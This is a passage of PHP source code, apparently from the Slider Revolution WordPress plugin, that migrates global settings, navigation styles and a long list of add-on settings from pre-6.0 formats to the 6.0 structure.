						}
					}
					//change the animation in the database by id
					$tr[$fr]['transform'] = $inside;
					
					$t = ($gid === 'in') ? 'in' : 'out';
					
					$arr = array(
						'handle'	=> $this->get_val($tr, 'name'),
						'params'	=> json_encode($tr),
						'settings'	=> $t
					);
					
					$result = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, $arr, array('id' => $_['id']));
				}
			}
		}
	}
	
	/**
	 * Migrate the Global Settings to the new 6.0 structure
	 * @since: 6.0
	 **/
	public function change_global_settings_to_6_0(){
		$global = maybe_unserialize(get_option('revslider-global-settings', '')); //get the old structure as serialized
		
		if(is_array($global)){ //means we are not json, so we are on 5.x
			$version = $this->get_val($global, 'version', '1.0.0');
			
			if(version_compare($version, '6.0.0', '>=')) return true; //already on 6.0
			
			$g = array(
				'version' => '6.0.0',
				'permission' => $this->get_val($global, 'role', 'admin'),
				//'include' => $this->_truefalse($this->get_val($global, 'includes_globally', true)),
				'includeids' => $this->get_val($global, 'pages_for_includes', ''),
				'script' => array(
					'footer' => $this->_truefalse($this->get_val($global, 'js_to_footer', true)),
					'defer' => $this->_truefalse($this->get_val($global, 'js_defer', true)),
					'full' => $this->_truefalse($this->get_val($global, 'load_all_javascript', false))
				),
				'fonturl' => $this->get_val($global, 'change_font_loading', ''),
				'size' => array(
					'desktop' => $this->get_val($global, 'width', 1240),
					'notebook' => $this->get_val($global, 'width_notebook', 1024),
					'tablet' => $this->get_val($global, 'width_tablet', 778),
					'mobile' => $this->get_val($global, 'width_mobile', 480)
				)
			);
			
			$this->set_global_settings($g);
		}
	}
	
	/**
	 * Migrate the Navigations that were existing prior to version 6.0
	 * @since: 6.0
	 **/
	public function change_navigation_settings_to_6_0($navs = false, $return = false){
		global $wpdb;

		$rs_nav = new RevSliderNavigation();
		//do on all navigations ?
		$navs = ($navs === false) ? $rs_nav->get_all_navigations(false, false, true) : (array) $navs;

		$new_navs = array();
		if(!empty($navs)){
			//clear all navigations in database and create new ones out of $new_nav
			$wpdb->query('TRUNCATE TABLE '. $wpdb->prefix . RevSliderFront::TABLE_NAVIGATIONS);

			//now push all again back in with new IDs
			foreach($navs as $nav){
				$nav['css'] = (!is_array($nav['css'])) ? json_decode($nav['css'], true) : $nav['css'];
				$nav['markup'] = (!is_array($nav['markup'])) ? json_decode($nav['markup'], true) : $nav['markup'];
				
				foreach($this->navtypes as $navtype){
					if(isset($nav['css'][$navtype]) && !empty($nav['css'][$navtype])){
						//otherwise we are already on 6.0
						$new_nav = $this->create_new_navigation_6_0($nav, $navtype);
						$wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_NAVIGATIONS,
							array(
								'name' => $this->get_val($new_nav, 'name'),
								'handle' => $this->get_val($new_nav, 'handle'),
								'type' => $navtype,
								'css' => $this->get_val($new_nav, 'css'),
								'markup' => $this->get_val($new_nav, 'markup'),
								'settings' => json_encode($this->get_val($new_nav, 'settings')),
							)
						);

						$new_navs[] = $new_nav;
					}
				}
			}
		}

		return $new_navs;
	}

	/**
	 * Change navigation css that needs to be used since 6.4.9
	 * @since: 6.4.9
	 **/
	public function change_navigation_settings_to_6_4_10($navs = false, $return = false){
		global $wpdb;
		
		/**
		 * some customers had an version inbetween, where $find was wrongly translated into this here
		 * so we need to replace $find2 also with $replace and this has to happen first!
		 **/
		$find2 = array(
			'.tp-bullets:hover.rs.touchhover',
			'.tp-bullet.rs.touchhover',
			'.tp-tab.rs.touchhover',
			'.tp-tabs.rs.touchhover',
			'.tp-thumb.rs.touchhover',
			'.tp-thumbs.rs.touchhover',
			'.tparrows.rs-touchhover',
			'.tp-rightarrow.rs.touchhover',
			'.tp-leftarrow.rs.touchhover'
		);
		$find = array(
			'.tp-bullets:hover',
			'.tp-bullet:hover',
			'.tp-tab:hover',
			'.tp-tabs:hover',
			'.tp-thumb:hover',
			'.tp-thumbs:hover',
			'.tparrows:hover',
			'.tp-rightarrow:hover',
			'.tp-leftarrow:hover'
		);
		$replace = array(
			'.tp-bullets.rs-touchhover',
			'.tp-bullet.rs-touchhover',
			'.tp-tab.rs-touchhover',
			'.tp-tabs.rs-touchhover',
			'.tp-thumb.rs-touchhover',
			'.tp-thumbs.rs-touchhover',
			'.tparrows.rs-touchhover',
			'.tp-rightarrow.rs-touchhover',
			'.tp-leftarrow.rs-touchhover'
		);
		
		$rs_nav = new RevSliderNavigation();
		//do on all navigations ?
		$navs = ($navs === false) ? $rs_nav->get_all_navigations(false, false, true) : (array) $navs;
		
		if(!empty($navs)){
			//now push all again back in with new IDs
			foreach($navs as $id => $nav){
				$css = $this->get_val($nav, 'css');
				$css = str_replace($find2, $replace, $css);
				$css = str_replace($find, $replace, $css);
				if($css !== $this->get_val($nav, 'css')){
					//update the css
					$response = $wpdb->update(
						$wpdb->prefix.RevSliderFront::TABLE_NAVIGATIONS,
						array('css' => $css),
						array('id' => $this->get_val($nav, 'id'))
					);
				}
			}
		}
	}
	
	/**
	 * Go through all Slider and change the navigations handle to id
	 **/
	public function change_navigation_slider_to_6_0($sliders = false){
		$sr = new RevSliderSlider();
		$rs_nav = new RevSliderNavigation();
		$navigations = $rs_nav->get_all_navigations_builder();

		$default = RevSliderNavigation::get_default_navigations();
		
		if($sliders === false){
			//do it on all Sliders
			$sliders = $sr->get_sliders();
		}else{
			$sliders = array($sliders);
		}

		$navs = array('arrows' => 'navigation_arrow_style', 'bullets' => 'navigation_bullets_style', 'tabs' => 'tabs_style', 'thumbs' => 'thumbnails_style');
		//$navs = array('arrows' => array('nav', 'arrows', 'style'), 'bullets' => array('nav', 'bullets', 'style'), 'tabs' => array('nav', 'tabs', 'style'), 'thumbs' => array('nav', 'thumbs', 'style'));

		if(!empty($sliders) && is_array($sliders)){
			$update = array();
			foreach($sliders as $slider){
				//$p = $slider->get_params();
				foreach($navs as $type => $n){
					$v = $slider->get_param($n, '');

					if($v !== ''){
						$found = false;
						$v = $rs_nav->translate_navigation($v); //translate $v if it was a factory one and has a certain handle
						foreach($navigations[$type] as $id => $nav){
							if($nav['handle'] != $v) continue;
							
							$update[$n] = $id;
							//$p['nav'][$type]['style'] = $id;
							$found = true;
							break;
						}
						if($found === false){
							foreach($navigations[$type] as $id => $nav){
								if($nav['handle'] != 'custom') continue;
								
								$update[$n] = $id; //set to the custom nav as no nav found
								break;
							}
						}
					}
				}
				
				$slider->update_params($update);
				
				$params = $slider->get_params();
				//$slider->update_params($p);
			}
		}
	}

	/**
	 * transform an old navigation into the 6.0.0 version
	 **/
	public function create_new_navigation_6_0($_, $t){
		$n = array(
			'id' => $this->get_val($_, 'id'),
			'handle' => $this->get_val($_, 'handle'),
			'name' => $this->get_val($_, 'name'),
			'type' => $t,
			'css' => $this->get_val($_, array('css', $t)),
			'markup' => $this->get_val($_, array('markup', $t)),
			'settings' => array(
				'dim' => array('width' => $this->get_val($_, array('settings', 'width', $t), 160), 'height' => $this->get_val($_, array('settings', 'height', $t), 160)),
				'placeholders' => new stdClass(),
				'presets' => new stdClass(),
				'version' => '6.0.0',
			),
		);

		$placeholders = $this->get_val($_, array('settings', 'placeholders'), array());
		if(!empty($placeholders)){
			foreach($placeholders as $placeholder){
				if($this->get_val($placeholder, 'nav-type') === $t){
					$n['settings']['placeholders']->{$this->get_val($placeholder, 'handle')} = array(
						'title' => $this->get_val($placeholder, 'title'),
						'type' => $this->get_val($placeholder, 'type'),
						'data' => ($this->get_val($placeholder, 'type') === 'font-family') ? $this->get_val($placeholder, array('data', 'font_family')) : $this->get_val($placeholder, array('data', $this->get_val($placeholder, 'type'))),
					);
				}
			}
		}

		$presets = $this->get_val($_, array('settings', 'presets'), array());
		if(!empty($presets)){
			foreach($presets as $preset){
				if($this->get_val($preset, 'type') === $t){
					$n['settings']['presets']->{$this->get_val($preset, 'handle')} = array(
						'name' => $this->get_val($preset, 'name'),
						'values' => array(),
					);

					$values = $this->get_val($preset, 'values', array());
					if(!empty($values)){
						foreach($values as $j => $value){
							$handle = str_replace(array('ph-'. $_['handle'] .'-'. $t .'-', '-color', '-rgba', '-custom'), '', $j);
							$n['settings']['presets']->{$this->get_val($preset, 'handle')}['values'][$handle] = $value;
						}
					}
				}
			}
		}

		return $n;
	}

	/**
	 * Migrate the Slider AddOns that were existing prior to version 6.0
	 * @since: 6.0
	 **/
	public function migrate_slider_AddOn($_){
		$obj = array();
		//WHITEBOARD MIGRATION
		if($_->get_param('wb_enable', false) !== false){
			$obj['revslider-whiteboard-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('wb_enable')),
				'writehand' => array(
					'width' => $_->get_param('wb_writehand_width', 572),
					'height' => $_->get_param('wb_writehand_height', 691),
					'originX' => $_->get_param('wb_writehand_origin_x', 49),
					'originY' => $_->get_param('wb_writehand_origin_y', 50),
					'source' => ($_->get_param('wb_writehand_source') === '1') ? WP_PLUGIN_URL .'/revslider-whiteboard-addon/'.'assets/images/write_right_angle.png' : $_->get_param('wb_writehand_source_custom', WP_PLUGIN_URL .'/revslider-whiteboard-addon/'.'assets/images/write_right_angle.png'),
				),
				'movehand' => array(
					'width' => $_->get_param('wb_movehand_width', 400),
					'height' => $_->get_param('wb_movehand_height', 100),
					'originX' => $_->get_param('wb_movehand_origin_x', 185),
					'originY' => $_->get_param('wb_movehand_origin_y', 66),
					'source' => ($_->get_param('wb_movehand_source') === '1') ? WP_PLUGIN_URL .'/revslider-whiteboard-addon/'.'assets/images/hand_point_right.png' : $_->get_param('wb_movehand_source_custom', WP_PLUGIN_URL .'/revslider-whiteboard-addon/'.'assets/images/hand_point_right.png'),
				),
			);
		}
		
		// RELOAD MIGRATION 
		if($_->get_param('revslider-refresh-enabled', false) !== false){
			$obj['revslider-refresh-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('revslider-refresh-enabled')),
				'type' => $_->get_param('revslider-refresh-type', 'time'),
				'minutes' => $_->get_param('revslider-refresh-min', 10),
				'slide' => $_->get_param('revslider-refresh-slide', 1),
				'loops' => $_->get_param('revslider-refresh-loops', 1),
				'url_enable' => $_->get_param('revslider-refresh-url-enable', false),
				'custom_url' => $_->get_param('revslider-refresh-custom-url', 'http://')
			);
		}

		//SLICEY MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!)
		if($_->get_param('slicey_enabled', false) !== false){
			$obj['revslider-slicey-addon'] = array('enable' => $this->_truefalse($_->get_param('slicey_enabled')));
		}

		//EXPLODING LAYERS MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!)
		if($_->get_param('explodinglayers_enabled', false) !== false){
			$obj['revslider-explodinglayers-addon'] = array('enable' => $this->_truefalse($_->get_param('explodinglayers_enabled')));
		}

		//PAINTBRUSH MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!)
		if($_->get_param('paintbrush_enabled', false) !== false){
			$obj['revslider-paintbrush-addon'] = array('enable' => $this->_truefalse($_->get_param('paintbrush_enabled', false)));
		}

		//DISTORTION MIGRARTION (NO DEFAULTS NEEDED, LEAVE IT OUT !!)
		if($_->get_param('liquideffect_enabled', false) !== false){
			$obj['revslider-liquideffect-addon'] = array('enable' => $this->_truefalse($_->get_param('liquideffect_enabled', false)));
		}

		//PANORAMA MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!)
		if($_->get_param('panorama_enabled', false) !== false){
			$obj['revslider-panorama-addon'] = array('enable' => $this->_truefalse($_->get_param('panorama_enabled', false)));
		}

		//TYPEWRITER MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!)
		if($_->get_param('typewriter_defaults_enabled', false) !== false){
			$obj['revslider-typewriter-addon'] = array('enable' => $this->_truefalse($_->get_param('typewriter_defaults_enabled')));
		}

		//FILMSTRIP MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!)
		if($_->get_param('filmstrip_enabled', false) !== false){
			$obj['revslider-filmstrip-addon'] = array('enable' => $this->_truefalse($_->get_param('filmstrip_enabled')));
		}

		// WEATHER MIGRATION
		if($_->get_param('revslider-weather-enabled', false) !== false){
			$obj['revslider-weather-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('revslider-weather-enabled')),
				'refresh' => $_->get_param('revslider-weather-refresh', '1'),
				'location' => ($_->get_param('revslider-weather-location-type', 'name') === 'name') ? $_->get_param('revslider-weather-location-name', 'Cologne') : $_->get_param('revslider-weather-location-woeid', '667931'),
				'unit' => $_->get_param('revslider-weather-unit', 'c')
			);
		}

		//SNOW MIGRATION
		if($_->get_param('snow_enabled', false) !== false){
			$obj['revslider-snow-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('snow_enabled')),
				'endSlide' => $_->get_param('snow_end_slide', 'last'),
				'startSlide' => $_->get_param('snow_start_slide', 'first'),
				'max' => array(
					'number' => $_->get_param('snow_max_num', 400),
					'opacity' => $_->get_param('snow_max_opacity', 1),
					'sinus' => $_->get_param('snow_max_sinus', 100),
					'size' => $_->get_param('snow_max_size', 6),
					'speed' => $_->get_param('snow_max_speed', 100),
				),
				'min' => array(
					'number' => $_->get_param('snow_min_num', 400),
					'opacity' => $_->get_param('snow_min_opacity', 1),
					'sinus' => $_->get_param('snow_min_sinus', 100),
					'size' => $_->get_param('snow_min_size', 6),
					'speed' => $_->get_param('snow_min_speed', 100),
				),
			);
		}

		//BEFORE AFTER MIGRATION
		if($_->get_param('beforeafter_enabled', false) !== false){
			$obj['revslider-beforeafter-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('beforeafter_enabled', false)),
				'icon' => array(
					'color' => $_->get_param('beforeafter_arrow_color', '#ffffff'),
					'size' => $_->get_param('beforeafter_arrow_size', 32),
					'space' => $_->get_param('beforeafter_arrow_spacing', 5),
					'up' => str_replace('fa-icon-', 'fa-', $_->get_param('beforeafter_top_arrow', 'fa-caret-up')),
					'down' => str_replace('fa-icon-', 'fa-', $_->get_param('beforeafter_bottom_arrow', 'fa-caret-down')),
					'left' => str_replace('fa-icon-', 'fa-', $_->get_param('beforeafter_left_arrow', 'fa-caret-left')),
					'right' => str_replace('fa-icon-', 'fa-', $_->get_param('beforeafter_right_arrow', 'fa-caret-right')),
					'shadow' => array(
						'set' => $this->_truefalse($_->get_param('beforeafter_arrow_shadow', false)),
						'blur' => $_->get_param('beforeafter_arrow_shadow_blur', 10),
						'color' => $_->get_param('beforeafter_arrow_shadow_color', 'rgba(0, 0, 0, 0.35)'),
					),
				),
				'drag' => array(
					'padding' => $_->get_param('beforeafter_arrow_padding', 0),
					'radius' => $_->get_param('beforeafter_arrow_radius', 0),
					'bgcolor' => $_->get_param('beforeafter_arrow_bg_color', 'transparent'),
					'border' => array(
						'set' => $this->_truefalse($_->get_param('beforeafter_arrow_border', false)),
						'width' => $_->get_param('beforeafter_arrow_border_size', 1),
						'color' => $_->get_param('beforeafter_arrow_border_color', '#000000'),
					),
					'boxshadow' => array(
						'set' => $this->_truefalse($_->get_param('beforeafter_box_shadow', false)),
						'blur' => $_->get_param('beforeafter_box_shadow_blur', 10),
						'strength' => $_->get_param('beforeafter_box_shadow_strength', 3),
						'color' => $_->get_param('beforeafter_box_shadow_color', 'rgba(0, 0, 0, 0.35)'),
					),
				),
				'divider' => array(
					'size' => $_->get_param('beforeafter_divider_size', 1),
					'color' => $_->get_param('beforeafter_divider_color', '#ffffff'),
					'shadow' => array(
						'set' => $this->_truefalse($_->get_param('beforeafter_divider_shadow', false)),
						'blur' => $_->get_param('beforeafter_divider_shadow_blur', 10),
						'strength' => $_->get_param('beforeafter_divider_shadow_strength', 3),
						'color' => $_->get_param('beforeafter_divider_shadow_color', 'rgba(0, 0, 0, 0.35)'),
					),
				),
				'onclick' => array(
					'set' => $this->_truefalse($_->get_param('beforeafter_onclick', true)),
					'time' => $_->get_param('beforeafter_click_time', 500),
					'easing' => $_->get_param('beforeafter_click_easing', 'power2.out'),
					'cursor' => $_->get_param('beforeafter_cursor', 'pointer'),
				),
			);
		}

		//POLCYFOLD MIGRATION
		if($_->get_param('polyfold_bottom_enabled', false) !== false){
			$obj['revslider-polyfold-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('polyfold_bottom_enabled', false)) || $this->_truefalse($_->get_param('polyfold_top_enabled', false)),
				'bottom' => array(
					'enabled' => $this->_truefalse($_->get_param('polyfold_bottom_enabled', false)),
					'animated' => $this->_truefalse($_->get_param('polyfold_bottom_animated', false)),
					'color' => $_->get_param('polyfold_bottom_color', '#ffffff'),
					'ease' => $_->get_param('polyfold_bottom_ease', 'ease-in-out'),
					'height' => $_->get_param('polyfold_bottom_height', 100),
					'hideOnMobile' => $this->_truefalse($_->get_param('polyfold_bottom_hide_mobile', false)),
					'inverted' => $this->_truefalse($_->get_param('polyfold_bottom_inverted', false)),
					'leftWidth' => $_->get_param('polyfold_bottom_left_width', 50),
					'rightWidth' => $_->get_param('polyfold_bottom_right_width', 50),
					'negative' => $this->_truefalse($_->get_param('polyfold_bottom_negative', false)),
					'placement' => $_->get_param('polyfold_bottom_placement', 1),
					'point' => $_->get_param('polyfold_bottom_point', 'sides'),
					'range' => $_->get_param('polyfold_bottom_range', 'slider'),
					'responsive' => $this->_truefalse($_->get_param('polyfold_bottom_responsive', true)),
					'scroll' => $this->_truefalse($_->get_param('polyfold_bottom_scroll', true)),
					'time' => $_->get_param('polyfold_bottom_time', 0.3),
				),
				'top' => array(
					'enabled' => $this->_truefalse($_->get_param('polyfold_top_enabled', false)),
					'animated' => $this->_truefalse($_->get_param('polyfold_top_animated', false)),
					'color' => $_->get_param('polyfold_top_color', '#ffffff'),
					'ease' => $_->get_param('polyfold_top_ease', 'ease-in-out'),
					'height' => $_->get_param('polyfold_top_height', 100),
					'hideOnMobile' => $this->_truefalse($_->get_param('polyfold_top_hide_mobile', false)),
					'inverted' => $this->_truefalse($_->get_param('polyfold_top_inverted', false)),
					'leftWidth' => $_->get_param('polyfold_top_left_width', 50),
					'rightWidth' => $_->get_param('polyfold_top_right_width', 50),
					'negative' => $this->_truefalse($_->get_param('polyfold_top_negative', false)),
					'placement' => $_->get_param('polyfold_top_placement', 1),
					'point' => $_->get_param('polyfold_top_point', 'sides'),
					'range' => $_->get_param('polyfold_top_range', 'slider'),
					'responsive' => $this->_truefalse($_->get_param('polyfold_top_responsive', true)),
					'scroll' => $this->_truefalse($_->get_param('polyfold_top_scroll', true)),
					'time' => $_->get_param('polyfold_top_time', 0.3),
				),
			);
		}

		//REVEALER MIGRATION
		if($_->get_param('revealer_enabled', false) !== false){
			$obj['revslider-revealer-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('revealer_enabled', false)),
				'direction' => $_->get_param('revealer_direction', 'open_horizontal'),
				'color' => $_->get_param('revealer_color', '#000000'),
				'easing' => $_->get_param('revealer_easing', 'power2.out'),
				'duration' => $_->get_param('revealer_duration', 500),
				'delay' => $_->get_param('revealer_delay', 10),
				'overlay' => array(
					'enable' => $this->_truefalse($_->get_param('revealer_overlay_enabled', false)),
					'color' => $_->get_param('revealer_overlay_color', '#000000'),
					'easing' => $_->get_param('revealer_overlay_easing', 'power2.out'),
					'duration' => $_->get_param('revealer_overlay_duration', 500),
					'delay' => $_->get_param('revealer_overlay_delay', 10),
				),
				'spinner' => array(
					'type' => $_->get_param('revealer_spinner', 'default'),
					'color' => $_->get_param('revealer_spinner_color', '#FFFFFF'),
				),
			);

			$obj['revslider-revealer-addon']['delay'] = intval($obj['revslider-revealer-addon']['delay']);
			if($obj['revslider-revealer-addon']['delay'] < 10){
				$obj['revslider-revealer-addon']['delay'] = 10;
			}

			if($obj['revslider-revealer-addon']['delay'] > 10000){
				$obj['revslider-revealer-addon']['delay'] = 10000;
			}

			$obj['revslider-revealer-addon']['overlay']['delay'] = intval($obj['revslider-revealer-addon']['overlay']['delay']);
			if($obj['revslider-revealer-addon']['overlay']['delay'] < 10){
				$obj['revslider-revealer-addon']['overlay']['delay'] = 10;
			}

			if($obj['revslider-revealer-addon']['overlay']['delay'] > 10000){
				$obj['revslider-revealer-addon']['overlay']['delay'] = 10000;
			}

			$obj['revslider-revealer-addon']['duration'] = intval($obj['revslider-revealer-addon']['duration']);
			if($obj['revslider-revealer-addon']['duration'] < 10){
				$obj['revslider-revealer-addon']['duration'] = 10;
			}

			if($obj['revslider-revealer-addon']['duration'] > 10000){
				$obj['revslider-revealer-addon']['duration'] = 10000;
			}

			$obj['revslider-revealer-addon']['overlay']['duration'] = intval($obj['revslider-revealer-addon']['overlay']['duration']);
			if($obj['revslider-revealer-addon']['overlay']['duration'] < 10){
				$obj['revslider-revealer-addon']['overlay']['duration'] = 10;
			}

			if($obj['revslider-revealer-addon']['overlay']['duration'] > 10000){
				$obj['revslider-revealer-addon']['overlay']['duration'] = 10000;
			}

		}

		//BUBBLEMORPH MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!)
		if($_->get_param('bubblemorph_enabled', false) !== false){
			$obj['revslider-bubblemorph-addon'] = array('enable' => $this->_truefalse($_->get_param('bubblemorph_enabled')));
		}

		//DUALTONE MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!)
		if($_->get_param('duotonefilters_enabled', false) !== false){
			$obj['revslider-duotonefilters-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('duotonefilters_enabled', false)),
				'simplify' => array(
					'enable' => $this->_truefalse($_->get_param('duotonefilters_simplified', false)),
					'easing' => $_->get_param('duotonefilters_easing', 'ease-in'),
					'duration' => $_->get_param('duotonefilters_timing', 750),
				),
			);
		}

		//PARTICLE EFFECTS MIGRATION
		/**
		 * even if we dont need the values in the Slider
		 * push it here so that it still exists later on for the layers
		 * otherwise it will be lost and no longer available for the layers
		 * the values will be removed later on
		 **/
		if($_->get_param('particles_enabled', false) !== false){
			
			/*
				Canvas now draws all particles as SVG's for improved overall functionality and performance
				Because of this change, the following is needed to normalize the sizes
			*/
			$partSize = $_->get_param('particles_size_value', 6);
			$partShape = $_->get_param('particles_shape_type', 'circle');
			$partSizeMin = $_->get_param('particles_size_min_value', 1);
			$partSizeAnimMin = $_->get_param('particles_size_anim_min', 1);
			
			$partOpacityRandom = $this->_truefalse($_->get_param('particles_opacity_random', false));
			$partOpacity = $_->get_param('particles_opacity_value', 100);
			$partOpacityMin = $_->get_param('particles_opacity_min_value', 25);
			
			if($partShape === 'edge' || $partShape === 'triangle'){
				$partSize = max(round(intval($partSize) * 0.75), 1);
				$partSizeMin = max(floatval($partSizeMin) * 0.75, 0.1);
				$partSizeAnimMin = max(floatval($partSizeAnimMin) * 0.75, 0.1);
			}
			else if($partShape === 'polygon'){
				$partSize = max(round(intval($partSize) * 0.85), 1);
				$partSizeMin = max(floatval($partSizeMin) * 0.85, 0.1);
				$partSizeAnimMin = max(floatval($partSizeAnimMin) * 0.85, 0.1);
			}
			else if($partShape === 'star'){
				$partSizeMin = max($partSizeMin, 1);
				$partSizeAnimMin = max(floatval($partSizeAnimMin), 0.1);
			}
			else {
				$partSize = max(round(intval($partSize) * 0.5), 1);
				$partSizeMin = max(floatval($partSizeMin) * 0.5, 0.1);
				$partSizeAnimMin = max(floatval($partSizeAnimMin) * 0.5, 0.1);
			}
			
			if($partOpacityRandom && $partShape === 'edge' || $partShape === 'triangle' || $partShape === 'polygon' || $partShape === 'star'){
				$partOpacity = min(intval($partOpacity) + 25, 100);
				$partOpacityMin = min(intval($partOpacityMin) + 25, 100);
			}
			
			$obj['revslider-particles-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('particles_enabled', false)),
				'endSlide' => $_->get_param('particles_end_slide', 'last'),
				'startSlide' => $_->get_param('particles_start_slide', 'first'),
				'hideOnMobile' => $this->_truefalse($_->get_param('particles_hide_on_mobile', false)),
				'particles' => array(
					'shape' => $partShape,
					'number' => $_->get_param('particles_number_value', 80),
					'size' => $partSize,
					'sizeMin' => $partSizeMin,
					'random' => $this->_truefalse($_->get_param('particles_size_random', true)),
				),
				'styles' => array(
					'border' => array(
						'enable' => $this->_truefalse($_->get_param('particles_border_enable', false)),
						'color' => $_->get_param('particles_border_color', '#ffffff'),
						'opacity' => $_->get_param('particles_border_opacity', 100),
						'size' => $_->get_param('particles_border_size', 1),
					),
					'lines' => array(
						'enable' => $this->_truefalse($_->get_param('particles_line_enable', false)),
						'color' => $_->get_param('particles_line_color', '#ffffff'),
						'width' => $_->get_param('particles_line_width', 1),
						'opacity' => $_->get_param('particles_line_opacity', 100),
						'distance' => $_->get_param('particles_line_distance', 150),
					),
					'particle' => array(
						'color' => $_->get_param('particles_color_value', '#ffffff'),
						'opacity' => $partOpacity,
						'opacityMin' => $partOpacityMin,
						'opacityRandom' => $partOpacityRandom,
						'zIndex' => $_->get_param('particles_zindex', 'default'),
					),
				),
				'movement' => array(
					'enable' => $this->_truefalse($_->get_param('particles_move_enable', true)),
					'randomSpeed' => $this->_truefalse($_->get_param('particles_move_random', true)),
					'speed' => $_->get_param('particles_move_speed', 1),
					'speedMin' => $_->get_param('particles_move_speed_min', 1),
					'direction' => $_->get_param('particles_move_direction', 'none'),
					'straight' => $this->_truefalse($_->get_param('particles_move_straight', true)),
					'bounce' => $this->_truefalse($_->get_param('particles_move_bounce', false)),
				),
				'interactivity' => array(
					'hoverMode' => ($this->_truefalse($_->get_param('particles_onhover_enable'))) ? $_->get_param('particles_onhover_mode', 'repulse') : 'none',
					'clickMode' => ($this->_truefalse($_->get_param('particles_onclick_enable'))) ? $_->get_param('particles_onclick_mode', 'repulse') : 'none',
				),
				'bubble' => array(
					'distance' => $_->get_param('particles_modes_bubble_distance', 400),
					'size' => $_->get_param('particles_modes_bubble_size', 40),
					'opacity' => $_->get_param('particles_modes_bubble_opacity', 40),
				),
				'grab' => array(
					'distance' => $_->get_param('particles_modes_grab_distance', 400),
					'opacity' => $_->get_param('particles_modes_grab_opacity', 50),
				),
				'repulse' => array(
					'distance' => $_->get_param('particles_modes_repulse_distance', 200),
					'easing' => 100, // new option
				),
				'pulse' => array(
					'size' => array(
						'enable' => $this->_truefalse($_->get_param('particles_size_anim_enable', false)),
						'speed' => $_->get_param('particles_size_anim_speed', 40),
						'min' => $partSizeAnimMin,
						'sync' => $this->_truefalse($_->get_param('particles_size_anim_sync', false)),
					),
					'opacity' => array(
						'enable' => $this->_truefalse($_->get_param('particles_opacity_anim_enable', false)),
						'speed' => $_->get_param('particles_opacity_anim_speed', 3),
						'min' => $_->get_param('particles_opacity_anim_min', 0),
						'sync' => $this->_truefalse($_->get_param('particles_opacity_anim_sync', false)),
					),
				),
			);
		}

		return $obj;
	}

	/**
	 * Migrate the Slider AddOns that were existing prior to version 6.0
	 * @since: 6.0
	 **/
	public function migrate_slide_AddOn($_, $_s, $slide_nr = false){
		$obj = array();
		
		// WEATHER MIGRATION
		if($_->get_param('revslider-weather-location-type', false) !== false){
			$obj['revslider-weather-addon'] = array(
				'location' => ($_->get_param('revslider-weather-location-type', 'name') === 'name') ? $_->get_param('revslider-weather-location-name', 'Cologne') : $_->get_param('revslider-weather-location-woeid', '667931'),
				'unit' => $_->get_param('revslider-weather-unit', 'c')
			);
		}

		// FILMSTRIP
		if($_->get_param('filmstrip_enabled', false) !== false){
			$ftimes = explode(',', $_->get_param('filmstrip_times'));
			$filmstrip_settings = str_replace('\\', '', $_->get_param('filmstrip_settings'));
			$obj['revslider-filmstrip-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('filmstrip_enabled', false)),
				'direction' => $_->get_param('filmstrip_direction', 'right-to-left'),
				'mobile' => $this->_truefalse($_->get_param('filmstrip_mobile', false)),
				'times' => $this->c_to_resp(array('default' => 40, 'val' => array('desktop' => $this->get_val($ftimes, 0), 'notebook' => $this->get_val($ftimes, 1), 'tablet' => $this->get_val($ftimes, 2), 'mobile' => $this->get_val($ftimes, 3)))),
				'settings' => json_decode($filmstrip_settings, true)
			);
		}

		//SLICEY
		if($_->get_param('slicey_globals', false) !== false){
			$slicey = json_decode(str_replace('\\', '', $_->get_param('slicey_globals')));
			$obj['revslider-slicey-addon'] = array(
				'shadow' => array(
					'blur' => $this->get_val($slicey, 'blur', 5),
					'color' => $this->get_val($slicey, 'color', 'transparent'),
					'strength' => $this->get_val($slicey, 'strength', 0)
				),
			);
		}

		// PANORAMA
		if($_->get_param('panorama_enabled', false) !== false){
			$obj['revslider-panorama-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('panorama_enabled', false)),
				'mobilelock' => true,
				'autoplay' => array(
					'enable' => $this->_truefalse($_->get_param('panorama_autoplay', false)),
					'direction' => $_->get_param('panorama_direction', 'forward'),
					'speed' => $_->get_param('panorama_speed', 100),
				),
				'interaction' => array(
					'controls' => $_->get_param('panorama_controls', 'throw'),
					'speed' => $_->get_param('panorama_throw_speed', 750),
				),
				'zoom' => array(
					'enable' => $this->_truefalse($_->get_param('panorama_mousewheel_zoom', false)),
					'smooth' => $this->_truefalse($_->get_param('panorama_smooth_zoom', true)),
					'min' => $_->get_param('panorama_zoom_min', 75),
					'max' => $_->get_param('panorama_zoom_max', 150),
				),
				'camera' => array(
					'fov' => $_->get_param('panorama_camera_fov', 75),
					'far' => $_->get_param('panorama_camera_far', 1000),
				),
				'sphere' => array(
					'radius' => $_->get_param('panorama_sphere_radius', 100),
					'wsegments' => $_->get_param('panorama_sphere_wsegments', 100),
					'hsegments' => $_->get_param('panorama_sphere_hsegments', 40),
				),
			);

		}

		// PAINTBRUSH
		if($_->get_param('paintbrush_enabled', false) !== false){
			$obj['revslider-paintbrush-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('paintbrush_enabled', false)),
				'image' => array(
					'source' => $_->get_param('paintbrush_source', 'local'),
					'custom' => $_->get_param('paintbrush_img', ''),
					'blur' => array(
						'enable' => $this->_truefalse($_->get_param('paintbrush_blur', false)),
						'amount' => $_->get_param('paintbrush_bluramount', 10),
						'responsive' => $this->_truefalse($_->get_param('paintbrush_scaleblur', false)),
